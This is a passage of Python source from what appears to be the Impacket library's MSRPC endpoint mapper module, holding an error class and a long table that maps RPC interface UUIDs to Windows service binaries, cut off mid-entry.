impacket.dcerpc.v5.ndr import NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import LOG\n\nMSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    error_messages = {}\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n        self.error_code = packet['status']\n\n    def __str__( self ):\n        key = self.error_code\n        if key in self.error_messages:\n            error_msg_short = self.error_messages[key]\n            return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short)\n        else:\n            return 'EPM SessionError: unknown error code: %s' % (str(self.error_code))\n\n################################################################################\n# CONSTANTS\n################################################################################\n\nKNOWN_UUIDS = {\nb\"\\xb0\\x01\\x52\\x97\\xca\\x59\\xd0\\x11\\xa8\\xd5\\x00\\xa0\\xc9\\x0d\\x80\\x51\\x01\\x00\": \"rpcss.dll\",\nb\"\\xf1\\x8f\\x37\\xc9\\xf7\\x16\\xd0\\x11\\xa0\\xb2\\x00\\xaa\\x00\\x61\\x42\\x6a\\x01\\x00\": \"pstorsvc.dll\",\nb\"\\xd4\\xa7\\x72\\x0d\\x48\\x61\\xd1\\x11\\xb4\\xaa\\x00\\xc0\\x4f\\xb6\\x6e\\xa0\\x01\\x00\": \"cryptsvc.dll\",\nb\"\\x40\\x4e\\x9f\\x8d\\x3d\\xa0\\xce\\x11\\x8f\\x69\\x08\\x00\\x3e\\x30\\x05\\x1b\\x01\\x00\": \"services.exe\",\nb\"\\xc5\\x86\\x5a\\xda\\xc2\\x12\\x43\\x49\\xab\\x30\\x7f\\x74\\xa8\\x13\\xd8\\x53\\x01\\x00\": \"regsvc.dll\",\nb\"\\x29\\x07\\x8a\\xfb\\x04\\x2d\\x58\\x46\\xbe\\x93\\x27\\xb4\\xad\\x55\\x3f\\xac\\x01\\x00\": \"lsass.exe\",\nb\"\\x04\\xf7\\xd9\\x52\\xc6\\xd3\\x48\\x47\\xad\\x11\\x25\\x50\\x20\\x9e\\x80\\xaf\\x00\\x00\": \"IMEPADSM.DLL\",\nb\"\\xce\\xad\\x21\\xc4\\xb2\\xa0\\x0d\\x48\\x84\\x18\\x98\\x44\\x95\\xb3\\x2d\\x5f\\x01\\x00\": \"SLsvc.exe\",\nb\"\\x14\\xb5\\xfb\\xd3\\x3b\\x0e\\xcb\\x11\\x8f\\xad\\x08\\x00\\x2b\\x1d\\x29\\xc3\\x01\\x00\": \"locator.exe\",\nb\"\\x6f\\x40\\x1c\\xf6\\x60\\xbd\\x94\\x41\\x95\\x65\\xbf\\xed\\xd5\\x25\\x6f\\x70\\x01\\x00\": \"p2phost.exe\",\nb\"\\x72\\x33\\x3d\\xc1\\x20\\xcc\\x49\\x44\\x9b\\x23\\x8c\\xc8\\x27\\x1b\\x38\\x85\\x01\\x00\": \"rpcrt4.dll\",\nb\"\\x70\\xfe\\x5a\\xd9\\xd5\\xa6\\x59\\x42\\x82\\x2e\\x2c\\x84\\xda\\x1d\\xdb\\x0d\\x01\\x00\": \"wininit.exe\",\nb\"\\x6a\\x07\\x2d\\x55\\x29\\xcb\\x44\\x4e\\x8b\\x6a\\xd1\\x5e\\x59\\xe2\\xc0\\xaf\\x01\\x00\": \"iphlpsvc.dll\",\nb\"\\x95\\x4f\\x25\\xd4\\xc3\\x08\\xcc\\x4f\\xb2\\xa6\\x0b\\x65\\x13\\x77\\xa2\\x9d\\x01\\x00\": \"wwansvc.dll\",\nb\"\\x43\\x9a\\x89\\x11\\x68\\x2b\\x76\\x4a\\x92\\xe3\\xa3\\xd6\\xad\\x8c\\x26\\xce\\x01\\x00\": \"lsm.exe\",\nb\"\\xb4\\x33\\x6f\\x26\\xc1\\xc7\\xd1\\x4b\\x8f\\x52\\xdd\\xb8\\xf2\\x21\\x4e\\xa9\\x01\\x00\": \"wlansvc.dll\",\nb\"\\x68\\x9d\\xcb\\x2a\\x34\\xb4\\x3e\\x4b\\xb9\\x66\\xe0\\x6b\\x4b\\x3a\\x84\\xcb\\x01\\x00\": \"bthserv.dll\",\nb\"\\xd0\\x4c\\x67\\x57\\x00\\x52\\xce\\x11\\xa8\\x97\\x08\\x00\\x2b\\x2e\\x9c\\x6d\\x01\\x00\": \"llssrv.exe\",\nb\"\\x52\\x44\\x7d\\x64\\x33\\x9f\\x18\\x4a\\xb2\\xbe\\xc5\\xc0\\xe9\\x20\\xe9\\x4e\\x01\\x00\": \"pla.dll\",\nb\"\\xc8\\x9b\\x3b\\xde\\xf7\\xbe\\x78\\x45\\xa0\\xde\\xf0\\x89\\x04\\x84\\x42\\xdb\\x01\\x00\": \"audiodg.exe\",\nb\"\\xd1\\x51\\xa9\\xbf\\x0e\\x2f\\xd3\\x11\\xbf\\xd1\\x00\\xc0\\x4f\\xa3\\x49\\x0a\\x01\\x00\": \"aqueue.dll\",\nb\"\\x84\\x55\\x66\\x1e\\xfe\\x40\\x50\\x44\\x8f\\x6e\\x80\\x23\\x62\\x39\\x96\\x94\\x01\\x00\": \"lsm.exe\",\nb\"\\x41\\x76\\x17\\xaa\\x9b\\xfc\\xbd\\x41\\x80\\xff\\xf9\\x64\\xa7\\x01\\x59\\x6f\\x01\\x00\": \"tssdis.exe\",\nb\"\\xe0\\x0c\\x6b\\x90\\x0b\\xc7\\x67\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06\\x62\\xda\\x01\\x00\": \"msdtcprx.dll\",\nb\"\\x51\\xb9\\x6b\\xfd\\x30\\xc8\\x34\\x47\\xbf\\x2c\\x18\\xba\\x6e\\xc7\\xab\\x49\\x01\\x00\": \"iscsiexe.dll\",\nb\"\\x68\\xff\\x1d\\x62\\x39\\x3c\\x6c\\x4c\\xaa\\xe3\\xe6\\x8e\\x2c\\x65\\x03\\xad\\x01\\x00\": \"wzcsvc.dll\",\nb\"\\x56\\xcc\\x35\\x94\\x9c\\x1d\\x24\\x49\\xac\\x7d\\xb6\\x0a\\x2c\\x35\\x20\\xe1\\x01\\x00\": \"sppsvc.exe\",\nb\"\\xf0\\xe4\\x9c\\x36\\xdc\\x0f\\xd3\\x11\\xbd\\xe8\\x00\\xc0\\x4f\\x8e\\xee\\x78\\x01\\x00\": \"profmap.dll\",\nb\"\\x6a\\x28\\x19\\x39\\x0c\\xb1\\xd0\\x11\\x9b\\xa8\\x00\\xc0\\x4f\\xd9\\x2e\\xf5\\x00\\x00\": \"lsasrv.dll\",\nb\"\\x80\\x2b\\xd1\\x76\\x67\\x34\\xd3\\x11\\x91\\xff\\x00\\x90\\x27\\x2f\\x9e\\xa3\\x01\\x00\": \"mqqm.dll\",\nb\"\\x72\\xfe\\x0f\\x8d\\x52\\xd2\\xd0\\x11\\xbf\\x8f\\x00\\xc0\\x4f\\xd9\\x12\\x6b\\x01\\x00\": \"cryptsvc.dll\",\nb\"\\x86\\xd4\\xdc\\x68\\x9e\\x66\\xd1\\x11\\xab\\x0c\\x00\\xc0\\x4f\\xc2\\xdc\\xd2\\x01\\x00\": \"ismserv.exe\",\nb\"\\x83\\xaf\\xe1\\x1f\\x5d\\xc9\\x11\\x91\\xa4\\x08\\x00\\x2b\\x14\\xa0\\xfa\\x03\\x00\\x00\": \"rpcss.dll\",\nb\"\\x06\\x91\\x01\\x24\\x03\\xa2\\x42\\x46\\xb8\\x8d\\x82\\xda\\xe9\\x15\\x89\\x29\\x01\\x00\": \"authui.dll\",\nb\"\\x60\\xa7\\xa4\\x5c\\xb1\\xeb\\xcf\\x11\\x86\\x11\\x00\\xa0\\x24\\x54\\x20\\xed\\x01\\x00\": \"termsrv.dll\",\nb\"\\x4d\\xdd\\x73\\x34\\x88\\x2e\\x06\\x40\\x9c\\xba\\x22\\x57\\x09\\x09\\xdd\\x10\\x05\\x01\": \"winhttp.dll\",\nb\"\\xb2\\xb8\\x7d\\xb9\\x63\\x4c\\xcf\\x11\\xbf\\xf6\\x08\\x00\\x2b\\xe2\\x3f\\x2f\\x02\\x00\": \"clussvc.exe\",\nb\"\\x95\\x1f\\x51\\x33\\x84\\x5b\\xcc\\x4d\\xb6\\xcc\\x3f\\x4b\\x21\\xda\\x53\\xe1\\x01\\x00\": \"ubpm.dll\",\nb\"\\x78\\xb2\\xeb\\x05\\x14\\xe1\\xc1\\x4e\\xa5\\xa3\\x09\\x61\\x53\\xf3\\x00\\xe4\\x01\\x01\": \"tsgqec.dll\",\nb\"\\x24\\xe4\\xfb\\x63\\x29\\x20\\xd1\\x11\\x8d\\xb8\\x00\\xaa\\x00\\x4a\\xbd\\x5e\\x01\\x00\": \"Sens.dll\",\nb\"\\x36\\xa0\\x67\\x07\\x22\\x0d\\xaa\\x48\\xba\\x69\\xb6\\x19\\x48\\x0f\\x38\\xcb\\x01\\x00\": \"pcasvc.dll\",\nb\"\\x20\\x32\\x5f\\x2f\\x26\\xc1\\x76\\x10\\xb5\\x49\\x07\\x4d\\x07\\x86\\x19\\xda\\x01\\x00\": \"netdde.exe\",\nb\"\\x30\\xa0\\xb3\\xfd\\x5f\\x06\\xd1\\x11\\xbb\\x9b\\x00\\xa0\\x24\\xea\\x55\\x25\\x01\\x00\": \"mqqm.dll\",\nb\"\\x80\\x7a\\xdf\\x77\\x98\\xf2\\xd0\\x11\\x83\\x58\\x00\\xa0\\x24\\xc4\\x80\\xa8\\x01\\x00\": \"mqdssrv.dll\",\nb\"\\x03\\x6d\\x71\\x98\\xac\\x89\\xc7\\x44\\xbb\\x8c\\x28\\x58\\x24\\xe5\\x1c\\x4a\\x01\\x00\": \"srvsvc.dll\",\nb\"\\xc8\\xad\\x32\\x4f\\x52\\x60\\x04\\x4a\\x87\\x01\\x29\\x3c\\xcf\\x20\\x96\\xf0\\x01\\x00\": \"sspisrv.dll\",\nb\"\\x90\\x38\\xa9\\x65\\xb9\\xfa\\xa3\\x43\\xb2\\xa5\\x1e\\x33\\x0a\\xc2\\x8f\\x11\\x02\\x00\": \"dnsrslvr.dll\",\nb\"\\x32\\xf5\\x03\\xc5\\x3a\\x44\\x69\\x4c\\x83\\x00\\xcc\\xd1\\xfb\\xdb\\x38\\x39\\x01\\x00\": \"MpSvc.dll\",\nb\"\\x46\\x9f\\x3b\\xc3\\x88\\x20\\xbc\\x4d\\x97\\xe3\\x61\\x25\\xf1\\x27\\x66\\x1c\\x01\\x00\": \"nlasvc.dll\",\nb\"\\xa0\\xb3\\x02\\xa0\\xb7\\xc9\\xd1\\x11\\xae\\x88\\x00\\x80\\xc7\\x5e\\x4e\\xc1\\x01\\x00\": \"wlnotify.dll\",\nb\"\\xd0\\xd1\\x33\\x88\\x5f\\x96\\x16\\x42\\xb3\\xe9\\xfb\\xe5\\x8c\\xad\\x31\\x00\\x01\\x00\": \"SCardSvr.dll\",\nb\"\\x98\\xd0\\xff\\x6b\\x12\\xa1\\x10\\x36\\x98\\x33\\x46\\xc3\\xf8\\x7e\\x34\\x5a\\x01\\x00\": \"wkssvc.dll\",\nb\"\\x38\\x8d\\x04\\x7e\\x08\\xac\\xf1\\x4f\\x8e\\x6b\\xf3\\x5d\\xba\\xb8\\x8d\\x4a\\x01\\x00\": \"mqqm.dll\",\nb\"\\x35\\x42\\x51\\xe3\\x06\\x4b\\xd1\\x11\\xab\\x04\\x00\\xc0\\x4f\\xc2\\xdc\\xd2\\x04\\x00\": \"ntdsai.dll\",\nb\"\\xc8\\x4f\\x32\\x4b\\x70\\x16\\xd3\\x01\\x12\\x78\\x5a\\x47\\xbf\\x6e\\xe1\\x88\\x00\\x00\": \"sfmsvc.exe\",\nb\"\\xc5\\x28\\x47\\x3c\\xab\\xf0\\x8b\\x44\\xbd\\xa1\\x6c\\xe0\\x1e\\xb0\\xa6\\xd6\\x01\\x00\": \"dhcpcsvc6.dll\",\nb\"\\x36\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x00\\x00\": \"rpcss.dll\",\nb\"\\x54\\x79\\x26\\x3d\\xb7\\xee\\xd1\\x11\\xb9\\x4e\\x00\\xc0\\x4f\\xa3\\x08\\x0d\\x01\\x00\": \"lserver.dll\",\nb\"\\xbf\\x09\\x11\\x81\\xe1\\xa4\\xd1\\x11\\xab\\x54\\x00\\xa0\\xc9\\x1e\\x9b\\x45\\x01\\x00\": \"WINS.EXE\",\nb\"\\xd0\\xbb\\xf5\\x7a\\x63\\x60\\xd1\\x11\\xae\\x2a\\x00\\x80\\xc7\\x5e\\x4e\\xc1\\x00\\x00\": \"irmon.dll\",\nb\"\\x99\\x1e\\xb8\\x12\\x07\\xf2\\x4c\\x4a\\x85\\xd3\\x77\\xb4\\x2f\\x76\\xfd\\x14\\x01\\x00\": \"seclogon.dll\",\nb\"\\x6c\\x5e\\x64\\x00\\x9f\\xfc\\x0c\\x4a\\x98\\x96\\xf0\\x0b\\x66\\x29\\x77\\x98\\x01\\x00\": \"icardagt.exe\",\nb\"\\x9f\\x2f\\x5b\\xb1\\x3c\\x90\\x71\\x46\\x8d\\xc0\\x77\\x2c\\x54\\x21\\x40\\x68\\x01\\x00\": \"pwmig.dll\",\nb\"\\xa6\\x95\\x7d\\x49\\x27\\x2d\\xf5\\x4b\\x9b\\xbd\\xa6\\x04\\x69\\x57\\x13\\x3c\\x01\\x00\": \"termsrv.dll\",\nb\"\\xcb\\x92\\xbe\\x5c\\xbe\\xf4\\xc9\\x45\\x9f\\xc9\\x33\\xe7\\x3e\\x55\\x7b\\x20\\x01\\x00\": \"lsasrv.dll\",\nb\"\\xa1\\x0f\\x51\\x69\\x99\\x2f\\xeb\\x4e\\xa4\\xff\\xaf\\x25\\x9f\\x0f\\x97\\x49\\x01\\x00\": \"wecsvc.dll\",\nb\"\\x70\\x5d\\xfb\\x8c\\xa4\\x31\\xcf\\x11\\xa7\\xd8\\x00\\x80\\x5f\\x48\\xa1\\x35\\x03\\x00\": \"smtpsvc.dll\",\nb\"\\x46\\x0d\\x85\\x77\\x1d\\x85\\xb6\\x43\\x93\\x98\\x29\\x01\\x61\\xf0\\xca\\xe6\\x01\\x00\": \"SeVA.dll\",\nb\"\\xc3\\x26\\xf2\\x76\\x14\\xec\\x25\\x43\\x8a\\x99\\x6a\\x46\\x34\\x84\\x18\\xaf\\x01\\x00\": \"winlogon.exe\",\nb\"\\x84\\x65\\x0a\\x0b\\x0f\\x9e\\xcf\\x11\\xa3\\xcf\\x00\\x80\\x5f\\x68\\xcb\\x1b\\x01\\x00\": \"rpcss.dll\",\nb\"\\x15\\x55\\xf2\\x11\\x79\\xc8\\x0a\\x40\\x98\\x9e\\xb0\\x74\\xd5\\xf0\\x92\\xfe\\x01\\x00\": \"lsm.exe\",\nb\"\\xc0\\xe0\\x4d\\x89\\x55\\x0d\\xd3\\x11\\xa3\\x22\\x00\\xc0\\x4f\\xa3\\x21\\xa1\\x01\\x00\": \"wininit.exe\",\nb\"\\x00\\xac\\x0a\\xf5\\xf3\\xc7\\x8e\\x42\\xa0\\x22\\xa6\\xb7\\x1b\\xfb\\x9d\\x43\\x01\\x00\": \"cryptsvc.dll\",\nb\"\\xa5\\x44\\xb0\\x30\\x25\\xa2\\xf0\\x43\\xb3\\xa4\\xe0\\x60\\xdf\\x91\\xf9\\xc1\\x01\\x00\": \"certprop.dll\",\nb\"\\x78\\x57\\x34\\x12\\x34\\x12\\xcd\\xab\\xef\\x00\\x01\\x23\\x45\\x67\\x89\\xab\\x00\\x00\": \"lsasrv.dll\",\nb\"\\x49\\x69\\xe9\\x98\\x59\\xbc\\xf1\\x47\\x92\\xd1\\x8c\\x25\\xb4\\x6f\\x85\\xc7\\x01\\x00\": \"wlanext.exe\",\nb\"\\xb8\\x61\\xe5\\xff\\x15\\xbf\\xcf\\x11\\x8c\\x5e\\x08\\x00\\x2b\\xb4\\x96\\x49\\x02\\x00\": \"clussvc.exe\",\nb\"\\xb4\\x59\\xcc\\xf5\\x64\\x42\\x1a\\x10\\x8c\\x59\\x08\\x00\\x2b\\x2f\\x84\\x26\\x01\\x00\": \"ntfrs.exe\",\nb\"\\xb4\\x59\\xcc\\xf5\\x64\\x42\\x1a\\x10\\x8c\\x59\\x08\\x00\\x2b\\x2f\\x84\\x26\\x01\\x01\": \"ntfrs.exe\",\nb\"\\xa4\\xc2\\xab\\x50\\x4d\\x57\\xb3\\x40\\x9d\\x66\\xee\\x4f\\xd5\\xfb\\xa0\\x76\\x05\\x00\": \"dns.exe\",\nb\"\\xb9\\x99\\x3f\\x87\\x4d\\x1b\\x10\\x99\\xb7\\xaa\\x00\\x04\\x00\\x7f\\x07\\x01\\x00\\x00\": \"ssmsrp70.dll\",\nb\"\\x01\\xc3\\x53\\xb2\\xa2\\x78\\x70\\x42\\xa9\\x1f\\x66\\x0d\\xee\\x06\\x9f\\x4c\\x01\\x00\": \"rdpcore.dll\",\nb\"\\x94\\x68\\x71\\x22\\x8e\\xfd\\x62\\x44\\x97\\x83\\x09\\xe6\\xd9\\x53\\x1f\\x16\\x01\\x00\": \"ubpm.dll\",\nb\"\\xf6\\xb8\\x35\\xd3\\x31\\xcb\\xd0\\x11\\xb0\\xf9\\x00\\x60\\x97\\xba\\x4e\\x54\\x01\\x00\": \"polagent.dll\",\nb\"\\x64\\x1d\\x82\\x0c\\xfc\\xa3\\xd1\\x11\\xbb\\x7a\\x00\\x80\\xc7\\x5e\\x4e\\xc1\\x01\\x00\": \"irftp.exe\",\nb\"\\xb8\\x4a\\x9f\\x4d\\x1c\\x7d\\xcf\\x11\\x86\\x1e\\x00\\x20\\xaf\\x6e\\x7c\\x57\\x00\\x00\": \"rpcss.dll\",\nb\"\\xa8\\x95\\xee\\x81\\x2e\\x88\\x15\\x46\\x88\\x8a\\x53\\x34\\x4c\\xa1\\x49\\xe4\\x01\\x00\": \"vpnikeapi.dll\",\nb\"\\xfb\\xee\\x0c\\x13\\x66\\xe4\\xd1\\x11\\xb7\\x8b\\x00\\xc0\\x4f\\xa3\\x28\\x83\\x02\\x00\": \"ismip.dll\",\nb\"\\x72\\xee\\xf3\\xc6\\x7e\\xce\\xd1\\x11\\xb7\\x1e\\x00\\xc0\\x4f\\xc3\\x11\\x1a\\x01\\x00\": \"rpcss.dll\",\nb\"\\x9a\\xf9\\x1e\\x20\\xa0\\x7f\\x4c\\x44\\x93\\x99\\x19\\xba\\x84\\xf1\\x2a\\x1a\\x01\\x00\": \"appinfo.dll\",\nb\"\\xc8\\x4f\\x32\\x4b\\x70\\x16\\xd3\\x01\\x12\\x78\\x5a\\x47\\xbf\\x6e\\xe1\\x88\\x03\\x00\": \"srvsvc.dll\",\nb\"\\x72\\xe4\\x9f\\x6d\\xf1\\x30\\x08\\x47\\x8f\\xa8\\x67\\x83\\x62\\xb9\\x61\\x55\\x01\\x00\": \"wimserv.exe\",\nb\"\\xd4\\xd7\\x44\\x7c\\xd5\\x31\\x4c\\x42\\xbd\\x5e\\x2b\\x3e\\x1f\\x32\\x3d\\x22\\x01\\x00\": \"ntdsai.dll\",\nb\"\\x55\\x1a\\x20\\x6f\\x4d\\xa2\\x5f\\x49\\xaa\\xc9\\x2f\\x4f\\xce\\x34\\xdf\\x99\\x01\\x00\": \"IPHLPAPI.DLL\",\nb\"\\x32\\x35\\x0f\\x30\\xcc\\x38\\xd0\\x11\\xa3\\xf0\\x00\\x20\\xaf\\x6b\\x0a\\xdd\\x01\\x02\": \"trkwks.dll\",\nb\"\\x32\\x35\\x0f\\x30\\xcc\\x38\\xd0\\x11\\xa3\\xf0\\x00\\x20\\xaf\\x6b\\x0a\\xdd\\x01\\x00\": \"trkwks.dll\",\nb\"\\x60\\xf4\\x82\\x4f\\x21\\x0e\\xcf\\x11\\x90\\x9e\\x00\\x80\\x5f\\x48\\xa1\\x35\\x04\\x00\": \"nntpsvc.dll\",\nb\"\\x7d\\xce\\x54\\x5f\\x79\\x5b\\x75\\x41\\x85\\x84\\xcb\\x65\\x31\\x3a\\x0e\\x98\\x01\\x00\": \"appinfo.dll\",\nb\"\\xdc\\x3f\\x27\\x82\\x2a\\xe3\\xc3\\x18\\x3f\\x78\\x82\\x79\\x29\\xdc\\x23\\xea\\x00\\x00\": \"wevtsvc.dll\",\nb\"\\x3a\\xcf\\xe0\\x16\\x04\\xa6\\xd0\\x11\\x96\\xb1\\x00\\xa0\\xc9\\x1e\\xce\\x30\\x01\\x00\": \"ntdsbsrv.dll\",\nb\"\\x98\\xd0\\xff\\x6b\\x12\\xa1\\x10\\x36\\x98\\x33\\x01\\x28\\x92\\x02\\x01\\x62\\x00\\x00\": \"browser.dll\",\nb\"\\xd6\\x09\\x48\\x48\\x39\\x42\\x1b\\x47\\xb5\\xbc\\x61\\xdf\\x8c\\x23\\xac\\x48\\x01\\x00\": \"lsm.exe\",\nb\"\\xe8\\x04\\xe6\\x58\\xdb\\x9a\\x2e\\x4d\\xa4\\x64\\x3b\\x06\\x83\\xfb\\x14\\x80\\x01\\x00\": \"appinfo.dll\",\nb\"\\x57\\x72\\xd4\\xa2\\xf7\\x12\\xeb\\x4b\\x89\\x81\\x0e\\xbf\\xa9\\x35\\xc4\\x07\\x01\\x00\": \"p2psvc.dll\",\nb\"\\x1e\\xdd\\x5b\\x6b\\x8c\\x52\\x2c\\x42\\xaf\\x8c\\xa4\\x07\\x9b\\xe4\\xfe\\x48\\x01\\x00\": \"FwRemoteSvr.dll\",\nb\"\\x75\\x21\\xc8\\x51\\x4e\\x84\\x50\\x47\\xb0\\xd8\\xec\\x25\\x55\\x55\\xbc\\x06\\x01\\x00\": \"SLsvc.exe\",\nb\"\\x78\\x57\\x34\\x12\\x34\\x12\\xcd\\xab\\xef\\x00\\x01\\x23\\x45\\x67\\x89\\xac\\x01\\x00\": \"samsrv.dll\",\nb\"\\xc0\\x47\\xdf\\xb3\\x5a\\xa9\\xcf\\x11\\xaa\\x26\\x00\\xaa\\x00\\xc1\\x48\\xb9\\x09\\x00\": \"mspadmin.exe - Microsoft ISA Server\",\nb\"\\x00\\xac\\x0a\\xf5\\xf3\\xc7\\x8e\\x42\\xa0\\x22\\xa6\\xb7\\x1b\\xfb\\x9d\\x43\\x01\\x01\": \"cryptsvc.dll\",\nb\"\\x65\\x31\\x0a\\xea\\x34\\x48\\xd2\\x11\\xa6\\xf8\\x00\\xc0\\x4f\\xa3\\x46\\xcc\\x04\\x00\": \"FXSSVC.exe\",\nb\"\\x33\\xa2\\x74\\xd6\\x29\\x58\\xdd\\x49\\x90\\xf0\\x60\\xcf\\x9c\\xeb\\x71\\x29\\x01\\x00\": \"ipnathlp.dll\",\nb\"\\xf7\\xaf\\xbe\\xf6\\x19\\x1e\\xbb\\x4f\\x9f\\x8f\\xb8\\x9e\\x20\\x18\\x33\\x7c\\x01\\x00\": \"wevtsvc.dll\",\nb\"\\x70\\x0d\\xec\\xec\\x03\\xa6\\xd0\\x11\\x96\\xb1\\x00\\xa0\\xc9\\x1e\\xce\\x30\\x02\\x00\": \"ntdsbsrv.dll\",\nb\"\\x7c\\xda\\x83\\x4f\\xe8\\xd2\\x11\\x98\\x07\\x00\\xc0\\x4f\\x8e\\xc8\\x50\\x02\\x00\\x00\": \"sfc.dll\",\nb\"\\x80\\x92\\xea\\x46\\xbf\\x5b\\x5e\\x44\\x83\\x1d\\x41\\xd0\\xf6\\x0f\\x50\\x3a\\x01\\x00\": \"ifssvc.exe\",\nb\"\\x81\\xbb\\x7a\\x36\\x44\\x98\\xf1\\x35\\xad\\x32\\x98\\xf0\\x38\\x00\\x10\\x03\\x02\\x00\": \"services.exe\",\nb\"\\x66\\x9f\\x9b\\x62\\x6c\\x55\\xd1\\x11\\x8d\\xd2\\x00\\xaa\\x00\\x4a\\xbd\\x5e\\x03\\x00\": \"sens.dll\",\nb\"\\x1c\\x02\\x0c\\xa0\\xe2\\x2b\\xd2\\x11\\xb6\\x78\\x00\\x00\\xf8\\x7a\\x8f\\x8e\\x01\\x00\": \"ntfrs.exe\",\nb\"\\x3e\\xca\\x86\\xc3\\x61\\x90\\x72\\x4a\\x82\\x1e\\x49\\x8d\\x83\\xbe\\x18\\x8f\\x01\\x01\": \"audiosrv.dll\",\nb\"\\x6d\\xa5\\x6e\\xe7\\x3f\\x45\\xcf\\x11\\xbf\\xec\\x08\\x00\\x2b\\xe2\\x3f\\x2f\\x02\\x01\": \"resrcmon.exe\",\nb\"\\xe1\\xbf\\x72\\x4a\\x94\\x92\\xda\\x11\\xa7\\x2b\\x08\\x00\\x20\\x0c\\x9a\\x66\\x01\\x00\": \"rdpinit.exe\",\nb\"\\x7c\\x5f\\xc4\\xa2\\x32\\x7d\\xad\\x46\\x96\\xf5\\xad\\xaf\\xb4\\x86\\xbe\\x74\\x01\\x00\": \"services.exe\",\nb\"\\x01\\x6b\\x77\\x45\\x56\\x59\\x85\\x44\\x9f\\x80\\xf4\\x28\\xf7\\xd6\\x01\\x29\\x02\\x00\": \"dnsrslvr.dll\",\nb\"\\x96\\x7b\\x9b\\x6c\\xa8\\x45\\xca\\x4c\\x9e\\xb3\\xe2\\x1c\\xcf\\x8b\\x5a\\x89\\x01\\x00\": \"umpo.dll\",\nb\"\\x15\\x04\\x42\\x9d\\xfb\\xb8\\x4a\\x4f\\x8c\\x53\\x45\\x02\\xea\\xd3\\x0c\\xa9\\x01\\x00\": \"PlaySndSrv.dll\",\nb\"\\x50\\x38\\xcd\\x15\\xca\\x28\\xce\\x11\\xa4\\xe8\\x00\\xaa\\x00\\x61\\x16\\xcb\\x01\\x00\": \"PeerDistSvc.dll\",\nb\"\\x20\\xe5\\x98\\xa3\\x9a\\xd5\\xdd\\x4b\\xaa\\x7a\\x3c\\x1e\\x03\\x03\\xa5\\x11\\x01\\x00\": \"IKEEXT.DLL\",\nb\"\\x08\\x83\\xaf\\xe1\\x1f\\x5d\\xc9\\x11\\x91\\xa4\\x08\\x00\\x2b\\x14\\xa0\\xfa\\x03\\x00\": \"rpcss.dll\",\nb\"\\x00\\x7c\\xda\\x83\\x4f\\xe8\\xd2\\x11\\x98\\x07\\x00\\xc0\\x4f\\x8e\\xc8\\x50\\x02\\x00\": \"sfc_os.dll\",\nb\"\\xf2\\xdc\\x51\\x4a\\x3a\\x5c\\xd2\\x4d\\x84\\xdb\\xc3\\x80\\x2e\\xe7\\xf9\\xb7\\x01\\x00\": \"ntdsai.dll\",\nb\"\\x82\\x06\\xf7\\x1f\\x51\\x0a\\xe8\\x30\\x07\\x6d\\x74\\x0b\\xe8\\xce\\xe9\\x8b\\x01\\x00\": \"taskcomp.dll\",\nb\"\\x00\\xb9\\x99\\x3f\\x87\\x4d\\x1b\\x10\\x99\\xb7\\xaa\\x00\\x04\\x00\\x7f\\x07\\x01\\x00\": \"ssmsrpc.dll - Microsoft SQL Server\",\nb\"\\x20\\x17\\x82\\x5b\\x3b\\xf6\\xd0\\x11\\xaa\\xd2\\x00\\xc0\\x4f\\xc3\\x24\\xdb\\x01\\x00\": \"dhcpssvc.dll\",\nb\"\\x22\\xc4\\xa1\\x4d\\x3d\\x94\\xd1\\x11\\xac\\xae\\x00\\xc0\\x4f\\xc2\\xaa\\x3f\\x01\\x00\": \"trksvr.dll\",\nb\"\\x74\\xe9\\xa5\\x1a\\x82\\x62\\x8d\\x4e\\x9c\\x96\\x40\\x18\\x6e\\x89\\xd2\\x80\\x01\\x00\": \"scss.exe\",\nb\"\\x94\\x73\\x92\\x1a\\x2e\\x35\\x53\\x45\\xae\\x3f\\x7c\\xf4\\xaa\\xfc\\xa6\\x20\\x01\\x00\": \"wdssrv.dll\",\nb\"\\x66\\xf6\\x8c\\x04\\x42\\xab\\xb4\\x42\\x89\\x75\\x13\\x57\\x01\\x8d\\xec\\xb3\\x01\\x00\": \"ws2_32.dll\",\nb\"\\x3a\\xcf\\xe0\\x16\\x04\\xa6\\xd0\\x11\\x96\\xb1\\x00\\xa0\\xc9\\x1e\\xce\\x30\\x02\\x00\": \"ntdsbsrv.dll\",\nb\"\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x69\\x01\\x00\": \"kdcsvc.dll\",\nb\"\\xb0\\x52\\x8e\\x37\\xa9\\xc0\\xcf\\x11\\x82\\x2d\\x00\\xaa\\x00\\x51\\xe4\\x0f\\x01\\x00\": \"taskcomp.dll\",\nb\"\\xe0\\x6d\\x7a\\x8c\\x8d\\x78\\xd0\\x11\\x9e\\xdf\\x44\\x45\\x53\\x54\\x00\\x00\\x02\\x00\": \"wiaservc.dll\",\nb\"\\x05\\x81\\xa7\\x3c\\xa3\\xa3\\x68\\x4a\\xb4\\x58\\x1a\\x60\\x6b\\xab\\x8f\\xd6\\x01\\x00\": \"mpnotify.exe\",\nb\"\\x2e\\xa0\\x8a\\xb5\\x84\\x28\\x97\\x4e\\x81\\x76\\x4e\\xe0\\x6d\\x79\\x41\\x84\\x01\\x00\": \"sysmain.dll\",\nb\"\\x95\\x4f\\x25\\xd4\\xc3\\x08\\xcc\\x4f\\xb2\\xa6\\x0b\\x65\\x13\\x77\\xa2\\x9c\\x01\\x00\": \"wwansvc.dll\",\nb\"\\x6e\\x2c\\xf4\\xc3\\xcc\\xd4\\x5a\\x4e\\x93\\x8b\\x9c\\x5e\\x8a\\x5d\\x8c\\x2e\\x01\\x00\": \"wlanmsm.dll\",\nb\"\\x53\\x0c\\x19\\xf3\\x0c\\x4e\\x1a\\x49\\xaa\\xd3\\x2a\\x7c\\xeb\\x7e\\x25\\xd4\\x01\\x00\": \"vpnikeapi.dll\",\nb\"\\x26\\xc0\\xe1\\xac\\x3f\\x8b\\x11\\x47\\x89\\x18\\xf3\\x45\\xd1\\x7f\\x5b\\xff\\x01\\x00\": 